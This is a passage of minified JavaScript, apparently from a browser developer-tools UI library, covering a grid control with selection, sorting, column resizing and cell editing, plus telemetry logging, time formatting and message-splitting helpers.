n=i&&i.ctrl,o=i&&i.shift,r=i&&i.rightClick;if(n)this._addSelection(e,t,{toggle:!0});else if(o){this._clearSelection();this._addSelectionRange(e,t)}else if(r)if(this._selectedRows&&this._selectedRows.hasOwnProperty(e)){this._selectedIndex=e;this._updateAriaAttribute()}else{this._clearSelection();this._addSelection(e,t)}else{this._clearSelection();this._addSelection(e,t,null,s)}}_selectAll(){if(this._count>0&&!1!==this._options.allowMultiSelect){this._clearSelection();this._selectionStart=0;var e=Math.max(0,this._selectedIndex);this._addSelectionRange(this._count-1,void 0,{doNotFireEvent:!0});this._selectedIndex=e;this._updateSelectionStyles();this._selectionChanged()}}getSelectedRowIndex(){return this._selectedIndex}setSelectedRowIndex(e){this._clearSelection();this._addSelection(e)}getSelectedDataIndex(){return this._getDataIndex(this._selectedIndex)}getSelectedDataIndices(){var e,t=this._selectedRows,i=[];if(t)for(e in t)i[i.length]=t[e];return i}ensureDataIndexExpanded(e){for(var t=this._getRowIndex(e);t<0||e>0&&0===t;){this.expandNode(this._getDataIndex(-t));t=this._getRowIndex(e)}return t}setSelectedDataIndex(e,t){var i=t?this.ensureDataIndexExpanded(e):this._getRowIndex(e);this.setSelectedRowIndex(i)}focus(e){var t=()=>{if(document.activeElement!==this._canvas)try{if(this._selectedIndex>-1){var e=this._getDataIndex(this._selectedIndex),t=this._rows[e];if(t){var i=t.row;i&&i.focus()}}}catch(e){}};e?window.setTimeout(()=>{t()},e):t()}_clearSelection(){this._selectionCount=0;this._selectedRows=null}_addSelection(e,t,i,s){var n=i&&i.keepSelectionStart,o=i&&i.doNotFireEvent,r=i&&i.toggle;if(!1===this._options.allowMultiSelect){n=!1;this._clearSelection()}this._selectedRows||(this._selectedRows={});if(e>=0){var a=!0;if(this._selectedRows.hasOwnProperty(e)){if(r){a=!1;this._selectionCount=Math.max(0,this._selectionCount-1);delete this._selectedRows[e]}}else this._selectionCount++;"number"!=typeof t&&(t=this._getDataIndex(e));a&&(this._selectedRows[e]=t);this._selectedIndex=e;this._updateAriaAttribute();(this._selectionStart<0||!n)&&(this._selectionStart=e)}else{t=-1;this._selectedIndex=-1}if(!o){this._updateSelectionStyles();this._selectionChanged();s&&this.focus();this._selectedIndexChanged(this._selectedIndex,t)}}_addSelectionRange(e,t,i){var s,n=i&&i.doNotFireEvent,o=-1;if(!1===this._options.allowMultiSelect)this._addSelection(e,t);else{this._selectedRows&&(o=this._selectedRows[this._selectedIndex]);this._selectionStart<0&&(this._selectionStart=e);var r=Math.min(this._selectionStart,e),a=Math.max(this._selectionStart,e);"number"==typeof t&&r===e||(t=this._getDataIndex(r));for(var l=r;l<=a;l++){this._addSelection(l,t,{keepSelectionStart:!0,doNotFireEvent:!0});l===e&&(s=t);var h=this._getExpandState(t);h<0?t+=1-h:t++}this._selectedIndex=e;this._updateAriaAttribute();if(!n){this._updateSelectionStyles();this._selectionChanged();o!==s&&this._selectedIndexChanged(this._selectedIndex,s)}}}_updateAriaAttribute(){if(this._active){var e=this._getDataIndex(this._selectedIndex);if(e>=0){var t=this.getRowInfo(e);if(t&&t.row){var i=t.row.getAttribute("id");if(i!==this._activeAriaId){this._canvas.setAttribute("aria-activedescendant",i);this._activeAriaId=i}}}}}_updateSelectionStyles(){this._delayedUpdateCookie&&window.clearTimeout(this._delayedUpdateCookie);this._delayedUpdateCookie=window.setTimeout(()=>{var e,t=this._selectedRows,i=this._selectedIndex,s=this._rows;for(e in s){var n=s[e];this._updateRowSelectionStyle(n,t,i)}},10)}_selectionChanged(){this.selectionChanged(this._selectedIndex,this._selectionCount,this._selectedRows);this.fireCustomEvent(this._element,"selectionchanged",[{selectedIndex:this._selectedIndex,selectedCount:this._selectionCount,selectedRows:this._selectedRows}])}selectionChanged(e,t,i){}_selectedIndexChanged(e,t){this.selectedIndexChanged(e,t);this.fireCustomEvent(this._element,m.EVENT_SELECTED_INDEX_CHANGED,[e,t])}selectedIndexChanged(e,t){}_updateRowSelectionStyle(e,t,i){var s=e.rowIndex,n=e.row,o=e.gutterRow;n.classList.remove("grid-row-selected");n.classList.remove("grid-row-selected-blur");n.classList.remove("grid-row-current");n.setAttribute("tabindex","-1");if(o){o.classList.remove("grid-gutter-row-selected");o.classList.remove("grid-gutter-row-selected-blur");o.classList.remove("grid-gutter-row-current");o.querySelector("input.checkbox").setAttribute("checked",String(!1))}if(t&&t.hasOwnProperty(s)){o&&o.querySelector("input.checkbox").setAttribute("checked",String(!0));if(this._active){n.classList.add("grid-row-selected");n.setAttribute("tabindex","1");o&&o.classList.add("grid-gutter-row-selected")}else{n.classList.add("grid-row-selected-blur");n.setAttribute("tabindex","1");o&&o.classList.add("grid-gutter-row-selected-blur")}}if(s===i){n.classList.add("grid-row-current");o&&o.classList.add("grid-gutter-row-current")}}_notifyForPrerender(){if(this._options.prerenderCallback){var e=this.getViewPortRanges();this._options.prerenderCallback(e.start,e.end)}}measureColumnSize(e){for(var t=this._canvas.clientWidth-(this.isVerticalScrollbarVisible?0:17),i=0;i<this._columns.length;i++){(s=this._columns[i]).fixed&&(t-=s.width)}if(t>0){if(e)for(i=0;i<this._columns.length;i++){!(s=this._columns[i]).fixed&&s.percentWidth&&(s.percentWidth=s.width/t)}for(i=0;i<this._columns.length;i++){var s;!(s=this._columns[i]).fixed&&s.percentWidth&&(s.width=t*s.percentWidth)}}}_onContainerMouseDown(e){e.target.classList.contains("grid-edit-box")||this.focus(10)}_measureCanvasSize(){this._canvasHeight=this._canvas.clientHeight;this._canvasWidth=this._canvas.clientWidth}_onContainerResize(e){this._resizeLayoutTimeout||(this._resizeLayoutTimeout=window.setTimeout(()=>{this._takeMeasurements();this.measureColumnSize(!1);this.layout();this._notifyForPrerender();this._resizeLayoutTimeout=null},200))}_setupMoveEvents(){document.addEventListener("mousemove",e=>this._onDocumentMouseMove(e));document.addEventListener("mouseup",e=>this._onDocumentMouseUp(e))}_clearMoveEvents(){document.removeEventListener("mousemove",null,!0);document.removeEventListener("mouseup",null,!0)}_onDocumentMouseMove(e){var t=this._columnSizing;if(t&&!0===t.active){var i=e.pageX-t.origin,s=Math.max(15,t.originalWidth+i);this._columns[t.index].width=s;this._applyColumnSizing(t.index);this._moveSizingElement(t.index)}}_onDocumentMouseUp(e){window.setImmediate(()=>{this._tryFinishColumnSizing(!1)});return!1}_onHeaderMouseDown(e){if(1!==e.which)return!0;var t=this.findClosestElement(e.target,".separator");if(t&&t._data){var i=t._data.columnIndex,s=this._columns[i];if(!s.fixed){this._columnSizing=new u(!0,i,s.width,e.pageX);this._moveSizingElement(i);this._setupMoveEvents();e.stopImmediatePropagation();e.preventDefault();return!1}}}_onHeaderMouseUp(e){return!1}_onHeaderClick(e){var t=this.findClosestElement(e.target,".grid-header-column");if(t&&!this._columnSizing){var i=this.findClosestElement(e.target,".separator");if(i&&i._data)return!1;if(t._data){var s=t._data.columnIndex,n=this._columns[s];n.canSortBy&&!n.fixed&&this._sortBy(n,e.shiftKey,this._options.alwaysForceSort)}}}_onHeaderDblClick(e){var t=this.findClosestElement(e.target,".separator");if(t&&t._data){this._tryFinishColumnSizing(!0);var i=t._data.columnIndex,s=this._columns[i],n=Math.max(s.maxLength||0,3),o=1.1+.7*Math.exp(-n/20),r=s.width;s.width=(s.indentOffset||0)+Math.round(n*o*this._measurements.unitEx);this._applyColumnSizing(i,r,!0);return!1}}getCellContentWidth(e){if(document.createRange){var t=document.createRange();if(e.firstChild&&e.firstChild.nodeType===Node.TEXT_NODE){t.selectNodeContents(e.firstChild);var i=t.getBoundingClientRect();return parseInt(e.style.textIndent,10)+i.width}}return e.clientWidth}_onSplitterDblClick(e){var t=0,i=e.target;if(i){var s=parseInt(i.getAttribute("grid-splitter-index"),10);t=0;for(var o in this._rows){var r=this._rows[o];if(r){var a=this.getCellContentWidth(r.row.children[s]);t=t>a?t:a}}var l=this._columns[s],h=this._columns[s+1];l.hasGlyph&&(t+=m.GLYPH_WIDTH);var d=l.width-(t+3),c=l.width-d,u=h.width+d;if(c>=n.MIN_RESIZE_WIDTH&&u>=n.MIN_RESIZE_WIDTH){l.width-=d;h.width+=d;window.setImmediate(()=>{this.layout(!0)})}else if(u<n.MIN_RESIZE_WIDTH){c-=n.MIN_RESIZE_WIDTH-u;u=n.MIN_RESIZE_WIDTH}}}_onSplitterMouseDown(e){var t,i,s,o,r=e=>{var i=document.querySelector(".grid-row-splitter.active");if(i){var r=e.clientX-t,a=s.width+r,l=o.width-r;if(a>=n.MIN_RESIZE_WIDTH&&l>=n.MIN_RESIZE_WIDTH){i.style.left=i.offsetLeft+r+"px";t=e.clientX;s.width+=r;o.width-=r}}},a=e=>{var t=document.querySelector(".grid-row-splitter.active");if(t){t.classList.remove("active");window.setImmediate(()=>{this.layout(!0)})}document.removeEventListener("mousemove",r);document.removeEventListener("mouseup",a)};if(0===e.button){var l=e.target;i=parseInt(l.getAttribute("grid-splitter-index"),10);s=this._columns[i];o=this._columns[i+1];if(!s.fixed&&!o.fixed){l.classList.add("active");t=e.clientX;document.addEventListener("mousemove",r);document.addEventListener("mouseup",a)}}}_moveSizingElement(e){var t=this._measurements.gutterWidth;if(!this._sizingElement){if(e<0)return;this._sizingElement=this.createElementWithClass("div","grid-column-sizing");this._canvas.appendChild(this._sizingElement)}this._sizingElement.style.height=this._canvas.clientHeight-1+"px";this._sizingElement.style.top=this._scrollTop+"px";if(e<0){this._sizingElement.style.left="-5000px";this._sizingElement.style.top="-5000px";this._sizingElement.style.height="0px"}else{for(var i=0;i<=e;){var s=this._columns[i++];s.hidden||(t+=s.width)}this._sizingElement.style.left=t-1+"px"}}_getVisibleColumnIndex(e){var t=0,i=0;this._columns.length;if(this._columns[e].hidden)return-1;for(;t<e;){this._columns[t].hidden||i++;t++}return i}_applyColumnSizing(e,t,i){var s=this._getVisibleColumnIndex(e)+1,n=this._columns[e],o=!1;t=t||-1;if(n){o=n.width!==t;this.rootElement.querySelector(".grid-header-canvas .grid-header-column:nth-child("+s+")").style.width=n.width+"px"}if(!0===i){o&&this.layout();this._onColumnResize(n)}}_onColumnResize(e){this.fireCustomEvent(this._element,"columnresize",[e])}_tryFinishColumnSizing(e){var t=this._columnSizing;if(t){if(!0===t.active){e||this._applyColumnSizing(t.index,t.originalWidth,!0);this._moveSizingElement(-1)}this._columnSizing=null;this._clearMoveEvents()}}_getSortColumns(e){for(var t=this._columns,i=[],s=0,n=e.length;s<n;s++){var o,r=e[s];t.forEach(function(e,t,i){if(e.index===r.index){o=e;return!1}});i.push(o)}return i}_sortBy(e,t,i){var s=this._sortOrder.slice(0),n=!1;if(e){for(var r=0,a=s.length;r<a;r++){if((l=s[r]).index===e.index){s.splice(r,1);n=!0;break}}var l;l=n?new o(l.index,"asc"===l.order?"desc":"asc"):new o(e.index,"asc");t&&this._options.allowSortOnMultiColumns?s.push(l):s=[l]}var h=this._getSortColumns(s);this._onSort(s,h,i)}_onSort(e,t,i=!1){!1!==this.onSort(e,t,i)&&this.fireCustomEvent(this._element,"sort",[{sortOrder:e,sortColumns:t}])}onSort(e,t,i=!1){if(this._options.autoSort){this._trySorting(e,t,i);this._sortOrder=e;this.layout()}return!0}_trySorting(e,t,s=!1){t||(t=this._getSortColumns(e));var n=[],o=0;for(var a in this._selectedRows){var l=this._selectedRows[a],h=this._dataSource[l];if(h){n.push(h);o+=parseInt(a)}}var d=new r(null,null);m.addItemsToTree(this._dataSource,this._expandStates,0,this._dataSource.length,d);this._sortOrder&&1===this._sortOrder.length&&1===e.length&&this._sortOrder[0]!==e[0]&&this._sortOrder[0].index===e[0].index&&!s?this._sortOrder[0].order!==e[0].order&&m.walkTree(d,s=>{i.TreeNodeSort.stableReverse(s.children,(s,n)=>i.TreeNodeSort.sortComparer(e,t,s.data,n.data))}):m.walkTree(d,s=>{s.children.sort((s,n)=>i.TreeNodeSort.sortComparer(e,t,s.data,n.data))});this._dataSource=[];this._expandStates=[];for(var c=0;c<d.children.length;c++)m.walkTree(d.children[c],e=>{this._dataSource.push(e.data);this._expandStates.push(e.expandState)});this._indentLevels=m.expand(this._expandStates);this._updateRanges();if(this._selectionCount>0){this._clearSelection();var u=0;for(c=0;c<n.length;c++){if((l=this._dataSource.indexOf(n[c]))>=0){var p=this._getRowIndex(l);this._addSelection(p,l);u+=p}}this._scrollTop+=(u-o)/this._selectionCount*this._measurements.rowHeight}}_onCanvasScroll(e){var t=this._canvas;this._resetScroll=!0;this._scrollLeft=t.scrollLeft;this._scrollTop=t.scrollTop;if(!this._ignoreScroll){this._notifyForPrerender();this._redraw();if(this._scrollRenderComplete){this._scrollRenderComplete();this._scrollRenderComplete=null}}return!1}getRowInfoFromEvent(e,t){var i=this.findClosestElement(e.target,t);return this._rowInfoMap[i.id]}_getClickedCell(e){return this.findClosestElement(e.target,".grid-cell")}_isCellEditing(e){return 1===e.querySelectorAll(".grid-edit-box").length}createEditBox(e,i,s){if(this._options.isGridEnabled){void 0!==this._options.preEditCellCallback&&this._options.preEditCellCallback(e,i);var n,o=this.getColumns()[i];o.getEditBox&&(n=o.getEditBox(e,o));this._editBoxControl=new t.GridCellEditControl(e,i,s,this,this._options,n);this._editBoxControl.inputElement.setAttribute("aria-label",Microsoft.Plugin.Resources.getString("AddToWatchesWindowLink"));s.innerHTML="";s.appendChild(this._editBoxControl.inputElement);try{this._editBoxControl.inputElement.select();this._editBoxControl.inputElement.focus()}catch(e){}}}onEditCell(e){if(!e.target.classList.contains("grid-tree-icon")){var t=this._getClickedCell(e);if(this._isCellEditing(t))return;if(t&&t.classList.contains("grid-cell-editable")){var i=this.getRowInfoFromEvent(e,".grid-row");if(i){for(var s=i.row.children,n=s.length,o=-1,r=0;r<n;r++)t===s[r]&&(o=r);this.createEditBox(i.dataIndex,o,t)}}}}_onRowMouseDown(e){var t=this.getRowInfoFromEvent(e,".grid-row");if(t){var i=e.target;if(1===e.which&&i.classList.contains("grid-tree-icon"))this._onToggle(t);else if(!(3===e.which&&this._options&&this._options.disableRightClickSelection||i.classList.contains("grid-edit-box"))){this._selectRow(t.rowIndex,t.dataIndex,{ctrl:e.ctrlKey,shift:e.shiftKey,rightClick:3===e.which});this.focus(0)}}}_onGutterClick(e){var t=this.getRowInfoFromEvent(e,".grid-gutter-row");t&&(this._selectedRows&&"number"==typeof this._selectedRows[t.rowIndex]||this._selectRow(t.rowIndex,t.dataIndex))}_onBlur(e){if(e.target.classList.contains("grid-edit-box"))e.stopPropagation();else{this._active=!1;this._updateSelectionStyles()}}_onFocus(e){if(e.target.classList.contains("grid-edit-box"))e.stopPropagation();else{this._active=!0;this._updateSelectionStyles();this._updateAriaAttribute()}}_onKeyDown(t){var i={lo:-1,hi:-1},s=e.KeyCodes;this._canvas;if(!this._options.isGridEnabled)return!1;if(this._copyInProgress){t.keyCode===s.Escape&&this._cancelable&&this._cancelable.cancel();return!1}this._count>0&&(i={lo:0,hi:this._expandedCount-1});this._selectedIndex<0&&this._addSelection(i.lo);if(this._options.keyboardEventHandler&&-1!==this._options.keyboardEventHandler.keys.indexOf(t.key)){if(this._options.keyboardEventHandler.handler(t,this._dataSource,this._getDataIndex(this._selectedIndex))){t.preventDefault();return!1}}switch(t.keyCode){case s.ArrowDown:this._clearSelection();this._addSelection(Math.min(this._selectedIndex+1,i.hi),null,null,!0);break;case s.ArrowUp:this._clearSelection();this._addSelection(Math.max(this._selectedIndex-1,i.lo),null,null,!0);break;case s.PageDown:this._clearSelection();var n=this._getVisibleRowIndices();if(this._selectedIndex<n.last)this._addSelection(n.last,null,null,!0);else{var o=n.last-n.first+1;this._addSelection(Math.min(this._selectedIndex+o,i.hi),null,null,!0)}break;case s.PageUp:this._clearSelection();n=this._getVisibleRowIndices();if(this._selectedIndex>n.first)this._addSelection(n.first,null,null,!0);else{o=n.last-n.first+1;this._addSelection(Math.max(this._selectedIndex-o,i.lo),null,null,!0)}break;case s.ArrowRight:this.tryToggle(!0,t.shiftKey);break;case s.ArrowLeft:if(!this.tryToggle(!1,t.shiftKey))for(var r=this._getDataIndex(this._selectedIndex),a=r-1;a>=0;){if(r-a<=Math.abs(this._expandStates[a])){this._selectRow(this._getRowIndex(a),null,null,!0);break}a--}break;case s.Home:this._clearSelection();this._addSelection(i.lo,null,null,!0);break;case s.End:this._clearSelection();this._addSelection(i.hi,null,null,!0);break;case s.F2:var l=this.getRowInfo(this._getDataIndex(this._selectedIndex));if(l){var h=this._getFirstEditableCellIndex(l.row.children);h>=0&&this.createEditBox(l.dataIndex,h,l.row.children[h])}break;default:return!0}this.getSelectedRowIntoView();t.preventDefault();return!1}_getFirstEditableCellIndex(e){for(var t=0;t<e.length;t++)if(e[t].classList.contains("grid-cell-editable"))return t;return-1}_onToggle(e){if(this._expandStates){var t=this._expandStates[e.dataIndex];if(0!==t){t>0?this.collapseNode(e.dataIndex):t<0&&this.expandNode(e.dataIndex);this._clearSelection();this._addSelection(Math.min(e.rowIndex,this._expandedCount-1),e.dataIndex,null,!0);this._layoutContentSpacer();this._redraw();this._notifyForPrerender()}}}getExpandStates(){return this._expandStates}}m.TYPE_NAME="GridControl";m.MAX_CELL_CONTENT_SIZE=1e3;m.MAX_COPY_SIZE=1e3;m.PAYLOAD_SIZE=200;m.EVENT_SELECTED_INDEX_CHANGED="selectedIndexChanged";m.INDENT_WIDTH=12;m.GLYPH_WIDTH=10;m.DEFAULT_TOOLTIP_HEIGHT=65;t.GridControl=m}(e.Grid||(e.Grid={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i{constructor(e,t,i,s,n,o){this._dataIndex=e;this._columnIndex=t;this._ignoreCommitCallback=!1;this._gridControl=s;this._options=n;this._editElement=i;this._textValue=i.hasAttribute("grid-edit-value")?i.getAttribute("grid-edit-value"):i.innerText;this._cachedInnerHTML=i.innerHTML;this._inputElement=o||document.createElement("input");this._inputElement.value=this._textValue;this._inputElement.classList.add("grid-edit-box");this._keyboardHandler=this.keyboardHandler.bind(this);this._inputElement.addEventListener("keydown",this._keyboardHandler);this._focusHandler=this.focusHandler.bind(this);this._inputElement.addEventListener("focusout",this._focusHandler)}get inputElement(){return this._inputElement}dismiss(){this._editElement.innerHTML=this._cachedInnerHTML;this._editElement.focus();this.notifyPostEdit()}notifyPostEdit(){this._inputElement.removeEventListener("keydown",this._keyboardHandler);this._inputElement.removeEventListener("focusout",this._focusHandler);void 0!==this._options.postEditCellCallback&&this._options.postEditCellCallback(this._dataIndex,this._columnIndex)}keyboardHandler(t){var i=this._gridControl.getRowInfo(this._dataIndex),s=this._gridControl.getColumns();if(t.keyCode===e.KeyCodes.Enter){this.commitValue(t);t.stopPropagation();return!1}if(t.keyCode===e.KeyCodes.Escape){this.dismiss();t.stopPropagation();t.preventDefault();return!1}if(t.keyCode!==e.KeyCodes.Tab){if(t.keyCode===e.KeyCodes.ArrowUp||t.keyCode===e.KeyCodes.ArrowDown||t.keyCode===e.KeyCodes.PageUp||t.keyCode===e.KeyCodes.PageDown)return!0;t.stopPropagation();return e.preventIEKeys(t)}if(this._options.commitOnTab)this.commitValue(t);else if(i){var n=i.row.children;this._ignoreCommitCallback=!0;this._editElement.innerHTML=this._cachedInnerHTML;this.notifyPostEdit();var o=this._columnIndex;if(t.shiftKey)for(;o>0;){if((r=n[--o]).classList.contains("grid-cell-editable")){this._gridControl.createEditBox(this._dataIndex,o,r);break}}else{for(;o<s.length-1;){var r;if((r=n[++o]).classList.contains("grid-cell-editable")){this._gridControl.createEditBox(this._dataIndex,o,r);break}}s.length>0&&o===s.length-1&&n[0].parentElement.focus()}t.stopPropagation();return!1}}focusHandler(e){this.commitValue(e)}commitValue(e){var t=this._inputElement.value;this._editElement.innerText=this._ignoreCommitCallback?this._textValue:t;this._options.commitEditCellCallback&&!this._ignoreCommitCallback&&this._options.commitEditCellCallback(t,this._dataIndex,this._columnIndex);this.notifyPostEdit();e.stopPropagation();e.preventDefault();return!1}}t.GridCellEditControl=i}(e.Grid||(e.Grid={}))}(Common||(Common={}));!function(e){"use strict";let t,i,s;!function(e){e[e.Ui=0]="Ui";e[e.KeyboardShortcut=1]="KeyboardShortcut";e[e.ContextMenu=2]="ContextMenu";e[e.Internal=3]="Internal";e[e.Test=4]="Test";e[e.NotSpecified=5]="NotSpecified"}(t=e.TriggerType||(e.TriggerType={}));class n{}n.CONSOLE="Console";n.DEBUGGER="Debugger";n.DOM_EXPLORER="DomExplorer";n.EMULATION="Emulation";n.HEADER="Header";n.MEMORY="Memory";n.NETWORK="Network";n.PROFILER="Profiler";n.VISUAL_PROFILER="VisualProfiler";n.ELEMENTS="Elements";n.STORAGE="Storage";n.SERVICEWORKER="ServiceWorker";e.ToolName=n;!function(e){e[e.Telemetry=0]="Telemetry";e[e.Measure=1]="Measure";e[e.CriticalData=2]="CriticalData"}(i=e.TelemetryEventLevel||(e.TelemetryEventLevel={}));class o{}o.DMBP_BINDING_METRICS="DmbpBindingMetrics";o.EXECUTE_COMMAND="ExecuteCommand";o.PERF_EVENT="F12Perf";e.TelemetryEventName=o;class r{log(e,t,s=2,n=i.Measure){}logExecuteCommand(e,t,s=2,n=i.Measure,o){}logPerformance(e,t,i,s){}}e.DoNothingAnalyticsProxy=r;e.eventMap=new Map;class a{constructor(e){this._toolName=e;this._previousCommandName="";this._previousCommandTime=Date.now();this._isUsingWinRT=F12.Host.ExternalApis.createPropertySet;this._isPerfHudEnabled="1"===F12.Host.ExternalApis.utilities.getEnvironmentVariable("F12PERFHUD")}log(e,t,s=2,n=i.Measure){if(1!==s){if(this._isUsingWinRT){let e=F12.Host.ExternalApis.createPropertySet();for(let i in t)e.insert(i,t[i]);t=e}switch(n){case i.Telemetry:F12.Host.ExternalApis.telemetryLogging.logAsTelemetry(e,t);break;case i.CriticalData:F12.Host.ExternalApis.telemetryLogging.logAsCriticalData(e,t);break;default:F12.Host.ExternalApis.telemetryLogging.logAsMeasure(e,t)}}}logExecuteCommand(s,n=t.NotSpecified,r=2,a=i.Measure,l){if(n!==e.TriggerType.Internal&&n!==e.TriggerType.Test&&(this._previousCommandName!==s||Date.now()-this._previousCommandTime>1e3)){let e={ToolName:this._toolName,CommandName:s,TriggerType:t[n]};l&&(e=Object.assign({},l,e));this.log(o.EXECUTE_COMMAND,e,r,a);this._previousCommandName=s;this._previousCommandTime=Date.now()}}logPerformance(t,s,n,r){const a=performance.now(),l="number"==typeof t,h=l?e.TraceEvents[t]:t,d=-1!==h.indexOf("_Start")?h.substring(0,h.indexOf("_Start")):h.substring(0,h.indexOf("_Stop"));performance.mark(h);l&&(s?F12.Host.ExternalApis.traceWriter.raiseEventWithKey(t,s,r):F12.Host.ExternalApis.traceWriter.raiseEvent(t,r));if(0===d.length)return;if(!e.eventMap.has(d)){e.eventMap.set(d,a);return}const c=e.eventMap.get(d),u=a-c,m=u.toFixed(3),p=r?{duration:m,eventName:d,startTime:c,endTime:a,message:r}:{duration:m,eventName:d,startTime:c,endTime:a};if(this._isPerfHudEnabled&&u>=0){const e={id:"F12_RPC_CLIENT_10|10",method:"perfEvent",params:[d,m]};parent.postMessage(e,location.origin)}this.log(o.PERF_EVENT,p,2,i.CriticalData);if(n){const e=parent.__PERCEIVED_LAUNCH_TIMESTAMP,t=Date.now();p.eventName=`Perceived_${d}`;p.startTime=e;p.endTime=t;p.duration=(t-e).toFixed(3);this.log(o.PERF_EVENT,p,2,i.CriticalData)}e.eventMap.delete(d)}}e.F12AnalyticsProxy=a;!function(e){class t{}t.FIND_NEXT_OR_PREVIOUS="FindNextOrPrevious";t.DEBUGGER_FIND="DebuggerFind";t.SEARCHBOX_CLEAR="SearchBoxClear";t.UPDATE_SEARCH_NEXT_OR_PREVIOUS="UpdateSearchNextOrPrevious";t.DMBP_MANUAL_REBIND_ALL="DmbpManualRebindAll";e.CommandName=t}(s=e.Telemetry||(e.Telemetry={}))}(Common||(Common={}));!function(e){"use strict";class t{constructor(e=0){this._nsec=e}get nsec(){return this._nsec}get msec(){return this._nsec/t.NANOSECOND_PER_MILLISECOND}get sec(){return this._nsec/t.NANOSECOND_PER_SECOND}static compare(e,t){return e.compare(t)}static fromNanoseconds(e){return new t(e)}static fromMilliseconds(e){return new t(e*t.NANOSECOND_PER_MILLISECOND)}static fromSeconds(e){return new t(e*t.NANOSECOND_PER_SECOND)}static min(e,t){return t.greaterThan(e)?e:t}static max(e,t){return e.lessThan(t)?t:e}add(e){return new t(this._nsec+e.nsec)}compare(e){return this._nsec-e.nsec}equals(e){return this._nsec===e.nsec}lessThan(e){return this._nsec<e.nsec}greaterThan(e){return this._nsec>e.nsec}subtract(e){return new t(this._nsec-e.nsec)}}t.NANOSECOND_PER_MILLISECOND=1e6;t.NANOSECOND_PER_SECOND=1e9;t.MaxTime=new t(Number.MAX_VALUE);t.OneMillisecond=t.fromMilliseconds(1);t.OneSecond=t.fromSeconds(1);t.Zero=t.fromSeconds(0);e.TimeStamp=t}(Common||(Common={}));!function(e){"use strict";class t{static convertFormatString(e){for(var t=e,i=0;;){var s="{"+i+"}";if(-1===t.indexOf(s))break;for(;t.indexOf(s)>=0;)t=t.replace(s,"%s");i++}return t}static getDecimalLocaleString(e,i){var s=Math.abs(e).toString(),n=s.split(/e/i);s=n[0];var o=n.length>1?parseInt(n[1],10):0;n=s.split(".");s=(e<0?"-":"")+n[0];var r=n.length>1?n[1]:"";if(o>0){s+=(r=t.zeroPad(r,o,!1)).slice(0,o);r=r.substr(o)}else if(o<0){o=-o;r=(s=t.zeroPad(s,o+1,!0)).slice(-o,s.length)+r;s=s.slice(0,-o)}var a=Microsoft.Plugin.Culture.NumberFormat;a||(a={numberDecimalSeparator:".",numberGroupSizes:[3],numberGroupSeparator:","});r.length>0&&(r=a.numberDecimalSeparator+r);if(i){for(var l=a.numberGroupSizes,h=a.numberGroupSeparator,d=l[0],c=1,u=s.length-1,m="";u>=0;){if(0===d||d>u)return m.length>0?s.slice(0,u+1)+h+m+r:s.slice(0,u+1)+r;m=m.length>0?s.slice(u-d+1,u+1)+h+m:s.slice(u-d+1,u+1);u-=d;if(c<l.length){d=l[c];c++}}return s.slice(0,u+1)+h+m+r}return s+r}static getPrettyPrintSize(e){var i,s=0;if(Math.abs(e)>t.BYTE_PER_GIGABYTE){s=e/t.BYTE_PER_GIGABYTE;i=Microsoft.Plugin.Resources.getString("/Common/GigabyteUnits")}else if(Math.abs(e)>t.BYTE_PER_MEGABYTE){s=e/t.BYTE_PER_MEGABYTE;i=Microsoft.Plugin.Resources.getString("/Common/MegabyteUnits")}else if(Math.abs(e)>t.BYTE_PER_KILLOBYTE){s=e/t.BYTE_PER_KILLOBYTE;i=Microsoft.Plugin.Resources.getString("/Common/KilobyteUnits")}else{s=e;i=Microsoft.Plugin.Resources.getString("/Common/ByteUnits")}return t.getDecimalLocaleString(parseFloat(s.toFixed(2)),!0)+" "+i}static getPrettyPrintTime(i,s){var n,o,r;if(0===i.nsec){o=0;r=Microsoft.Plugin.Resources.getString("SecondsAbbreviation")}else if(i.lessThan(e.TimeStamp.OneMillisecond)){o=parseFloat(i.msec.toPrecision(2));r=Microsoft.Plugin.Resources.getString("MillisecondsAbbreviation")}else if(i.lessThan(e.TimeStamp.OneSecond)){o=s&&s.roundMillisecondValue?Math.round(i.msec):Math.floor(100*i.msec)/100;r=Microsoft.Plugin.Resources.getString("MillisecondsAbbreviation")}else if(s&&s.showTimeOnly){n=new Date(i.msec).toLocaleTimeString()}else{o=Math.floor(100*i.sec)/100;r=Microsoft.Plugin.Resources.getString("SecondsAbbreviation")}n||(n=t.getDecimalLocaleString(o,!0)+" "+r);return n}static stripNewLine(e){return e.replace(/[\r?\n]/g,"")}static fileLineColumnFormat(e,t,i){return e+" ("+t+","+i+")"}static fileLineFormat(e,t){return e+" ("+t+")"}static zeroPad(e,t,i){for(var s=[],n=e.length;n<t;n++)s.push("0");return i?s.join("")+e:e+s.join("")}}t.BYTE_PER_KILLOBYTE=1024;t.BYTE_PER_MEGABYTE=1048576;t.BYTE_PER_GIGABYTE=1073741824;e.FormattingHelpers=t}(Common||(Common={}));!function(e){"use strict";class t{constructor(){this._packetCount=0;this._data=""}static splitMessage(e){for(var i=e.length,s=Math.max(1,Math.ceil(i/t.MAX_MESSAGE_LENGTH)),n=[],o=0;o<s;o++){var r=o*t.MAX_MESSAGE_LENGTH,a=r+Math.min(t.MAX_MESSAGE_LENGTH,i-r),l={n:s,data:e.slice(r,a)};n.push(JSON.stringify(l))}return n}combineMessages(e){var t=JSON.parse(e.data);if(t.n>=1){this._data+=t.data||"";this._packetCount++;if(this._packetCount===t.n){var i=this._data;this._packetCount=0;this._data="";e.data=i;e.handled=!1}else e.handled=!0}else e.handled=!0}}t.MAX_MESSAGE_LENGTH=32768;e.MessageThrottle=t;class i extends t{constructor(e){super();this._messageHandlers=[];this._port=e}get name(){return this._port.name}initialize(){this._port.addEventListener("message",this.onmessage.bind(this))}postMessage(e){var i,s,n=t.splitMessage(e);for(i=0,s=n.length;i<s;i++){var o=n[i];this._port.postMessage(o)}return!0}addEventListener(e,t){if("message"!==e)throw new Error("Invalid event type");this._messageHandlers.push(t)}removeEventListener(e,t){if("message"!==e)throw new Error("Invalid event type");for(;;){var i=this._messageHandlers.indexOf(t);if(-1===i)break;this._messageHandlers.splice(i,1)}}onmessage(e){this.combineMessages(e);if(!e.handled){var t,i;for(t=0,i=this._messageHandlers.length;t<i;t++){(0,this._messageHandlers[t])(e)}}}}e.PortThrottler=i}(Common||(Common={}));!function(e){!function(e){const t=new Map;function i(e){let t,i=!1,s=this;return function(){t=arguments;if(!i){i=!0;window.requestAnimationFrame(()=>{i=!1;e.apply(s,t)})}}}e.deferUntilNextFrame=i;function s(e){t.delete(e.callback);e.callback.apply(e.thisArg,e.args)}function n(e,i,n,...o){let 